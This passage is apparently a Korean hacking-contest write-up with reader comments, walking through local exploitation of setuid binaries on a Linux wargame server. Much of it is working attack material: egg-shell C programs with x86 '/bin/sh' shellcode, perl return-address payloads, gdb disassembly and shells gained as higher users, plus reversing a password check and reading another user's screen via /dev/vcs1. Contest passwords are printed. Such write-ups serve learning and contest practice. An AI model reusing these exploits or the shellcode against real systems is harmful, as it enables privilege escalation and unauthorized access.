"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main(int argc, char *argv[])

{

char *buff, *ptr, *egg;

int *aptr, addr, i;

int esize=DEFAULT_EGG_SIZE;

 

if (!(egg = malloc(esize))) { // Egg Shell용 Buffer

printf("Can't allocate memory.\n");

exit(0);

}

 

ptr = egg; // Egg Shell을 만듬

for (i = 0; i < esize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

egg[esize - 1] = '\0';

 

memcpy(egg,"EGG=",4); // EGG라는 환경변수 설정

putenv(egg);

 

system("/bin/bash"); // Shell 실행

}

 

sh-2.05a$ gcc egg.c -o egg

 

 

 

 

 

sh-2.05a$ ./egg

[guta@localhost NWSR]$ (perl -e 'print "1\n","\x58\xfb\xff\xbf"x64';cat)|./student

 

 

- 성적표 --------------------

현재 0 명의 학생 정보가 있습니다.

 

1. 학생 성적 입력하기

2. 이름으로 학생 찾아보기

3. 번호로 학생 찾아보기

4. 모든 학생의 정보 보기

5. 끝내기

선택하세요>

 

새로운 학생을 등록합니다.

학생의 이름은 무엇입니까?

 

>경고! Stack overflow 가 시도되었습니다.

보안상의 문제로 종료합니다.

id

uid=1002(mungmung) gid=1002(mungmung) groups=1000(walwal)

 

[guta@localhost NWSR]$ register

[01:59] 고유 번호를 입력하세요: #H4SC30346

mungmung의 비밀 번호는 rownrdl 입니다.

 

 

 

 

- 대회 도중 공개된 wizard 권한 힌트.

 

* wizard 권한 관련 힌트입니다. [ Use_Brain.c ]

 

 

 

 

[mungmung@localhost mungmung]$ ls -al

total 24

 

dr-xr-x--- 2 root mungmung 4096 Aug 16 19:28 SolveMe/

 

[mungmung@localhost mungmung]$ cd SolveMe

[mungmung@localhost SolveMe]$ ls -al

total 24

 

-rwsr-sr-x 1 wizard wizard 14215 Aug 16 01:18 Use_Brain*

 

[mungmung@localhost NWSR]$ ln -s /home/mungmung/SolveMe/Use_Brain Use_Brain

 

문제분석...

 

[mungmung@localhost NWSR]$ objdump -x ./Use_Brain

 

08048640 g O .rodata 00000004 _fp_hw

08048520 g F .text 0000002f hackerschool

08049780 w O .bss 00000004 environ@@GLIBC_2.0

08048380 g F .init 00000000 _init

080483b8 w F *UND* 00000025

__deregister_frame_info@@GLIBC_2.0

08048420 g F .text 00000000 _start

080483c8 F *UND* 00000140 fgets@@GLIBC_2.0

080483d8 F *UND* 000000af strlen@@GLIBC_2.0

08049780 g O *ABS* 00000000 __bss_start

08048550 g F .text 00000087 main

080483e8 F *UND* 000000d3 __libc_start_main@@GLIBC_2.0

08049780 g O .bss 00000004 __environ@@GLIBC_2.0

08049668 w .data 00000000 data_start

080483f8 F *UND* 00000032 printf@@GLIBC_2.0

08048620 g F .fini 00000000 _fini

08049780 g O *ABS* 00000000 _edata

08049754 g O .got 00000000 _GLOBAL_OFFSET_TABLE_

080497a0 g O *ABS* 00000000 _end

08048408 F *UND* 00000043 memset@@GLIBC_2.0

08049784 g O .bss 00000004 stdin@@GLIBC_2.0

08048644 g O .rodata 00000004 _IO_stdin_used

08049668 g .data 00000000 __data_start

 

[mungmung@localhost NWSR]$ objdump -s ./Use_Brain

 

Contents of section .fini:

8048620 5589e553 52e80000 00005b81 c32a1100 U..SR.....[..*..

8048630 008d7600 e837feff ff8b5dfc c9c3 ..v..7....]...

Contents of section .rodata:

8048640 03000000 01000200 bfa9b1e2 bcad20c0 .............. .

8048650 d4b7c2c7 d8bedfc7 d8bfe42e 203a2000 ............ : .

8048660 45786974 2e0a00 Exit...

 

 

 

 

[mungmung@localhost SolveMe]$ gdb Use_Brain 에서 디스어셈을 하여..소스를 만듬.

 

void hackerschool()

{

fffc[8];

0x8048520 <hackerschool>: push %ebp

0x8048521 <hackerschool+1>: mov %esp,%ebp

0x8048523 <hackerschool+3>: sub $0x8,%esp

printf("여기서 입력해야해요. ");

0x8048526 <hackerschool+6>: sub $0xc,%esp

0x8048529 <hackerschool+9>: push $0x8048648

0x804852e <hackerschool+14>: call 0x80483f8 <printf>

0x8048533 <hackerschool+19>: add $0x10,%esp

fgets(fffc, 0x0d, stdin);

0x8048536 <hackerschool+22>: sub $0x4,%esp

0x8048539 <hackerschool+25>: pushl 0x8049784

0x804853f <hackerschool+31>: push $0xd

0x8048541 <hackerschool+33>: lea 0xfffffffc(%ebp),%eax

0x8048544 <hackerschool+36>: push %eax

0x8048545 <hackerschool+37>: call 0x80483c8 <fgets>

0x804854a <hackerschool+42>: add $0x10,%esp

}

0x804854d <hackerschool+45>: leave

0x804854e <hackerschool+46>: ret

 

int main(int argc, char *argv[])

{

0x8048550 <main>: push %ebp

0x8048551 <main+1>: mov %esp,%ebp

0x8048553 <main+3>: sub $0x8,%esp

if (argc>1) {

0x8048556 <main+6>: cmpl $0x1,0x8(%ebp)

0x804855a <main+10>: jle 0x8048574 <main+36>

0x804855c <main+12>: sub $0xc,%esp

printf("Exit.\n");

0x804855f <main+15>: push $0x8048660

0x8048564 <main+20>: call 0x80483f8 <printf>

0x8048569 <main+25>: add $0x10,%esp

return(0);

0x804856c <main+28>: mov $0x0,%eax

0x8048571 <main+33>: jmp 0x80485d5 <main+133>

0x8048573 <main+35>: nop

0x8048574 <main+36>: nop

}

for(fffc = 0; environ[fffc]; fffc++) {

0x8048575 <main+37>: movl $0x0,0xfffffffc(%ebp)

 

0x804857c <main+44>: mov 0xfffffffc(%ebp),%eax

0x804857f <main+47>: imul $0x4,%eax,%edx

0x8048582 <main+50>: mov 0x8049780,%eax <-- environ@@GLIBC_2.0

0x8048587 <main+55>: cmpl $0x0,(%eax,%edx,1)

0x804858b <main+59>: jne 0x8048590 <main+64>

0x804858d <main+61>: jmp 0x80485d0 <main+128>

0x804858f <main+63>: nop

strlen(environ[fffc]);

0x8048590 <main+64>: sub $0x4,%esp

0x8048593 <main+67>: sub $0x8,%esp

0x8048596 <main+70>: mov 0xfffffffc(%ebp),%eax

0x8048599 <main+73>: imul $0x4,%eax,%edx

0x804859c <main+76>: mov 0x8049780,%eax

0x80485a1 <main+81>: pushl (%eax,%edx,1)

0x80485a4 <main+84>: call 0x80483d8 <strlen>

0x80485a9 <main+89>: add $0xc,%esp

memset(environ[fffc], 0, strlen(environ[fffc]));

0x80485ac <main+92>: mov %eax,%eax

0x80485ae <main+94>: push %eax

0x80485af <main+95>: push $0x0

0x80485b1 <main+97>: mov 0xfffffffc(%ebp),%eax

0x80485b4 <main+100>: imul $0x4,%eax,%edx

0x80485b7 <main+103>: mov 0x8049780,%eax

0x80485bc <main+108>: pushl (%eax,%edx,1)

0x80485bf <main+111>: call 0x8048408 <memset>

0x80485c4 <main+116>: add $0x10,%esp

fffc++

0x80485c7 <main+119>: lea 0xfffffffc(%ebp),%eax

0x80485ca <main+122>: incl (%eax)

0x80485cc <main+124>: jmp 0x804857c <main+44>

0x80485ce <main+126>: mov %esi,%esi

}

hackerschool();

0x80485d0 <main+128>: call 0x8048520 <hackerschool>

}

0x80485d5 <main+133>: leave

0x80485d6 <main+134>: ret

 

 

 

 

Use_Brain 소스 유추...

 

hackerschool()

{

char buf[8];

printf("여기서 입력해야해요. ");

fgets(buf, 13, stdin);

}

 

main(int argc, char **argv)

{

int fffc;

 

if(argc > 1){

printf("Exit.\n");

exit(0);

}

for(fffc = 0; environ[fffc]; fffc++) {

memset(environ[fffc], 0, strlen(environ[fffc]));

}

hackerschool();

}

 

 

 

그렇다면...에그쉘을 넣을 곳은 only argv[0];

 

 

 

wizard exploit

 

[mungmung@localhost NWSR]$ cat > mng.c

#include<stdio.h>

#define NOP 0x90

 

char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x31\xc0\x89\xc3\x89\xd9\xb0\x46\x66\xbb\xeb\x03\x66\xb9\xeb\x03"

"\xcd\x80\x31\xc0\x89\xc3\x89\xd9\xb0\x47\x66\xbb\xeb\x03\x66\xb9"

"\xeb\x03\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"

"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"

"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main(int argc, char **argv)

{

char *buff, *ptr, *egg;

int i, eggsize=1024;

char *run_path = "./Use_Brain";

 

if ( argc > 1 ) eggsize = atoi(argv[1]);

 

if ( !(egg = malloc(eggsize))) {

printf("Can't allocate memory for eggsize");

exit(0);

}

ptr = egg;

for(i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;

for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

 

egg[eggsize - 1] = '\0';

execl(run_path, egg, NULL);

}

 

[mungmung@localhost NWSR]$ gcc mng.c -o mng

 

 

 

gdb로 확인...

 

 

 

(gdb) x/16 $ebp

0xbffffb48: 0xbffffb88 0x42017499 0x00000001 0xbffffbb4

0xbffffb58: 0xbffffbbc 0x08048396 0x08048620 0x00000000

0xbffffb68: 0xbffffb88 0x42017482 0x00000000 0xbffffbbc

0xbffffb78: 0x08049780 0x400134c0 0x00000001 0x08048420

 

0xbffffc78: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc88: 0x00000000 0x36690000 0x2f003638 0x656d6f68

0xbffffc98: 0x6e756d2f 0x6e756d67 0x6f532f67 0x4d65766c

0xbffffca8: 0x73552f65 0x72425f65 0x006e6961 0x3d445750

0xbffffcb8: 0x706d742f 0x756d2e2f 0x5200676e 0x544f4d45

 

[mungmung@localhost NWSR]$ (perl -e 'print "\x2c\xfc\xff\xbf"x3';cat)|./mng id

uid=1003(wizard) gid=1003(wizard) groups=1002(mungmung)

 

[mungmung@localhost NWSR]$ register

고유 번호를 입력하세요: #H4SC30346

wizard의 비밀 번호는 qufemfdmlwjswod(별들의전쟁) 입니다.

등록 처리 완료되었습니다.

 

 

 

 

----------------------------------------------------------------

1. 수수께끼 문제 : 이번 수수께끼 문제는 역암호화입니다.

crypt group 권한의 파일을 찾아 암호를 해독하면

crypt 계정의 패스워드를 얻으실 수 있습니다.

----------------------------------------------------------------

 

 

 

gdb로 디버깅.

 

 

 

08048510 <main>:

8048510: 55 push %ebp

8048511: 89 e5 mov %esp,%ebp

8048513: 57 push %edi

8048514: 56 push %esi

8048515: 83 ec 60 sub $0x60,%esp

8048518: 8d 7d d8 lea 0xffffffd8(%ebp),%edi

804851b: be 58 86 04 08 mov $0x8048658,%esi

8048520: fc cld

8048521: b9 15 00 00 00 mov $0x15,%ecx

8048526: f3 a4 repz movsb %ds:(%esi),%es:(%edi)

8048528: c6 45 ed 00 movb $0x0,0xffffffed(%ebp)

804852c: 8d 7d b8 lea 0xffffffb8(%ebp),%edi

804852f: be 6d 86 04 08 mov $0x804866d,%esi

8048534: fc cld

8048535: b9 15 00 00 00 mov $0x15,%ecx

804853a: f3 a4 repz movsb %ds:(%esi),%es:(%edi)

804853c: c6 45 cd 00 movb $0x0,0xffffffcd(%ebp)

8048540: 8d 7d a8 lea 0xffffffa8(%ebp),%edi

8048543: be 82 86 04 08 mov $0x8048682,%esi

8048548: fc cld

8048549: b9 0d 00 00 00 mov $0xd,%ecx

804854e: f3 a4 repz movsb %ds:(%esi),%es:(%edi)

8048550: 83 ec 08 sub $0x8,%esp

8048553: 68 d4 85 04 08 push $0x80485d4

8048558: 6a 03 push $0x3

804855a: e8 35 fe ff ff call 8048394 <_init+0x48>

804855f: 83 c4 10 add $0x10,%esp

8048562: 83 ec 08 sub $0x8,%esp

8048565: 68 d4 85 04 08 push $0x80485d4

804856a: 6a 02 push $0x2

804856c: e8 23 fe ff ff call 8048394 <_init+0x48>

8048571: 83 c4 10 add $0x10,%esp

8048574: 83 ec 0c sub $0xc,%esp

8048577: 68 8f 86 04 08 push $0x804868f

804857c: e8 23 fe ff ff call 80483a4 <_init+0x58>

8048581: 83 c4 10 add $0x10,%esp

8048584: 89 45 a4 mov %eax,0xffffffa4(%ebp)

8048587: 83 ec 08 sub $0x8,%esp

804858a: ff 75 a4 pushl 0xffffffa4(%ebp)

804858d: 8d 45 a8 lea 0xffffffa8(%ebp),%eax

8048590: 83 c0 05 add $0x5,%eax

8048593: 50 push %eax

8048594: e8 eb fd ff ff call 8048384 <_init+0x38>

8048599: 83 c4 10 add $0x10,%esp

804859c: 89 c0 mov %eax,%eax

804859e: 85 c0 test %eax,%eax

80485a0: 74 1a je 80485bc <main+0xac>

80485a2: 83 ec 0c sub $0xc,%esp

80485a5: 68 9a 86 04 08 push $0x804869a

80485aa: e8 35 fe ff ff call 80483e4 <_init+0x98>

80485af: 83 c4 10 add $0x10,%esp

80485b2: 83 ec 0c sub $0xc,%esp

80485b5: 6a ff push $0xffffffff

80485b7: e8 38 fe ff ff call 80483f4 <_init+0xa8>

80485bc: 83 ec 0c sub $0xc,%esp

80485bf: 68 a8 86 04 08 push $0x80486a8

80485c4: e8 1b fe ff ff call 80483e4 <_init+0x98>

80485c9: 83 c4 10 add $0x10,%esp

80485cc: 8d 65 f8 lea 0xfffffff8(%ebp),%esp

80485cf: 5e pop %esi

80485d0: 5f pop %edi

80485d1: 5d pop %ebp

80485d2: c3 ret

80485d3: 90 nop

 

080485d4 <handler>:

80485d4: 55 push %ebp

80485d5: 89 e5 mov %esp,%ebp

80485d7: 83 ec 08 sub $0x8,%esp

80485da: 83 ec 08 sub $0x8,%esp

80485dd: 68 b1 86 04 08 push $0x80486b1

80485e2: ff 75 08 pushl 0x8(%ebp)

80485e5: e8 da fd ff ff call 80483c4 <_init+0x78>

80485ea: 83 c4 10 add $0x10,%esp

80485ed: c9 leave

80485ee: c3 ret

80485ef: 90 nop

 

 

(gdb) x/16 0x0804868f

0x804868f <_IO_stdin_used+59>: "Password: "

0x804869a <_IO_stdin_used+70>: "\n틀렸습니다.\n"

0x80486a8 <_IO_stdin_used+84>: "\n성공!!\n"

0x80486b1 <_IO_stdin_used+93>: "\n거부\n"

 

(gdb) x/16 0x08048658

0x8048658 <_IO_stdin_used+4>: "@#!!levelup_pass!!@#"

0x804866d <_IO_stdin_used+25>: "@#!!uplevel_pass!!@#"

0x8048682 <_IO_stdin_used+46>: "loohcsrekcah"

0x804868f <_IO_stdin_used+59>: "Password: "

0x804869a <_IO_stdin_used+70>: "\n틀렸습니다.\n"

0x80486a8 <_IO_stdin_used+84>: "\n성공!!\n"

0x80486b1 <_IO_stdin_used+93>: "\n거부\n"

 

(gdb) x/s $esi

0x804865b <_IO_stdin_used+7>: "!levelup_pass!!@#"

 

 

loohcsrekcah

(gdb) x/16 $eax

0xbffffb30: 0x686f6f6c 0x65727363 0x6861636b

 

 

(gdb) x/16 $eax

0xbffffb30: 0x686f6f6c 0x65727363 0x6861636b

 

 

8048590: 83 c0 05 add $0x5,%eax

8048593: 50 push %eax

8048594: e8 eb fd ff ff call 8048384 <_init+0x38>

요 부분이 핵심.

 

(gdb) x/16 $eax

0xbffffb35: "srekcah"

0xbffffb3d: "=\001@@#!!uplevel_pass!!@#"

0xbffffb55: ""

 

crypt 패스워드 : srekcah

 

 

 

 

----------------------------------------------------------------

2. 관리자의 화면 캡쳐 :

 

관리자가 실수로 가상 콘솔 스크린 관련 파일의 읽기 퍼미션을 열어

놓았다고 합니다. 이 정보를 이용하여 관리자의 화면을 캡쳐하세요.

----------------------------------------------------------------

 

 

 

 

<스크린 덤프 참고 내용>

 

현재 디렉토리에 screen.dump라는 화일로 /dev/ttyN의 화면 내용을

덤프하려면 setterm -dump N 라고 하면 된다. setterm(1)을 참조하라.

 

/dev/ttyN 스크린의 현재 내용은 /dev/vcsN 디바이스를 사용하면 액세스할

수 있다. (여기서 `vcs'는 가상 콘솔 스크린의 약자이다.) 이것을

사용하면 콘솔 스크린의 오른쪽 위에 현재 시간을 표시하는 시계

프로그램을 실행시킬 수 있다. (kbd-0.95.tar.gv에 있는 vcstime

프로그램을 참조하라.) 단지 내용만을 덤프하려면, cat /dev/vcsN이라고

해도 된다. 이러한 디바이스 화일/dev/vcsN에는 newline도 색과 같은

속성도 없다. 좀 더 나은 프로그램으로는 /dev/vcsaN가 있다. (vcsa:

`virtual console screen with attributes') 이 프로그램은 행과 열의 수,

커서의 위치를 담은 헤더로 실행시킨다. vcs(4)를 참조하라.

 

참조문서: http://kldp.org/HOWTO/Keyboard-and-Console-HOWTO

 

 

 

<취약 디바이스 찾기>

 

 

bash-2.05a$ ls -al /dev/vcs*

 

crw--w---- 1 vcsa tty 7, 0 Apr 11 10:25 /dev/vcs

crw--w-r-- 1 vcsa tty 7, 1 Apr 11 10:25 /dev/vcs1

crw--w---- 1 vcsa tty 7, 10 Apr 11 10:25 /dev/vcs10

{중략}

 

 

 

 

<스크린 덤프 내용>

 

bash-2.05a$ cat /dev/vcs1

[Eminem as 'Stan']

Dear Slim, I wrote but you still ain't callin

I left my cell, my pager, and my home phone at the bottom

I sent two letters back in autumn, you must not-a got 'em

There probably was a problem at the post office or somethin

Sometimes I scribble addresses too sloppy when I jot 'em

but anyways; fuck it, what's been up? Man how's your daughter?

My girlfriend's pregnant too, I'm bout to be a father

If I have a daughter, guess what I'ma call her?

I'ma name her Bonnie

I read about your Uncle Ronnie too I'm sorry

I had a friend kill himself over some bitch who didn't want him

I know you probably hear this everyday, but I'm your biggest fan

I even got the underground shit that you did with Scam

I got a room full of your posters and your pictures man

I like the shit you did with Ruckus too, that shit was fat

Anyways, I hope you get this man, hit me back,

just to chat, truly yours, your biggest fan

This is Stan

 

 

 

4. 후기.

 

글중에서 실제 공격한 시간과 자료정리한 시간에서 조금 차이가 있을수 있습니다.

 

Index.html을 가지기 위해서 다른 참가자를 Kill 시키는데..

이런방법은 조금 자제를 해야 하지 않을까..

 

이번대회를 통해서 못푼 문제도 있었고..

많이 배웠습니다.

 

좋은 대회 감사합니다.

 

[별첨.1] 나중에 공개된 소스.

o. walwal 레벨의 tmpwatch source. [ 링크 ]

o. guta 레벨의 student source. [ 링크 ]

o. mungmung 레벨의 Use_Brain source. [ 링크 ]

 

[별첨.2]

o. tmpwatch 취약점 발표자료. [ 링크 ]

 

 

** 입상자에게 한마디!! **

 

 

시라소니 : 대단해요.. 나는 언제 저렇게될까..? .
멍멍 : 문제 못 푸신분들. 위 내용을 무작정 따라해 보는 것도 도움이 될거에요~ .
d1212 : 0x80485a5 : call 0x80483dc .
d1212 : 이것도 씨언어?? .
컴맹 : 난 언제 obj를 볼수 있을까??? .
d1212 : 0x0020 8011 16b0 4d2a 0000 0101 080a 0f65 221c ....M*....... .
d1212 : 이거도여?? 그럼 해킹 할려면 어셈도 배워야 하나여 .
therock : 역시 대단한 null@root !! .
2121d : 기본적인 어셈 필요합니다. .
11 : 요번에 1등한 팀 null@root 아니던데..이름부터 틀린데 .
Anesra : 축하드립니다.^^..저도 많이공부해야겠네요.:) .
1212312 : null@root 그룹 정예멤버랍니다. .
디펜스 : 우아 .
Final_fire : 앞으로는 gdb 사용법좀 알아봐야겠군요..^^ .
Nuno : 축하드려요... 부상이 뭐죠?...^^ .
구삐 : 잘봤습니다.. .
아오리 : 저두요^^ .
Rantert : 좋은거 하나 배웠습니다. ^^ .
Hero : 머냐고 이게 -_-멀 알아 들어야 하지 ''a .
토시 : (-_-)==b .
성웅 : 나도 전에 시작했다가 포기했는데 다시 시작해야겠당.. .
Max : 도움이 많이 되었습니다. gdb를 너무 잘 써서 부럽네요. .
초보 : --b 정말 대단하네여 근데 먼내용인지... .
sophier : 어셈블리어라... 여하튼 잘 봤습니다^^ .
include : 실로 대단하십니다.:-_ .
초보다 : 잘 배웠습니다..(-_-)-b .
bestbox : 친절하고 자세한 설명 고맙습니다 .
nary : 대단하십늬다-ㅁ-나능언제저케되까.. .
ttpp : 널루트 만세~ .
김봉철 : 음 대단하시네요 .
머냐고요 : 진짜 장난안하고 한글자도 모르겠다 ㅡㅡ .
모래고래 : 대단하네..어셈블리어..멋있네요앞으로도 멋진 모습 기대하겠습니다.^-^* .
누구게 : 아이쥐엔피 .
blackangel : 참 대단하시네요...ㅜㅡㅜ....부럽습니다 .

 

 

이름 :   내용 :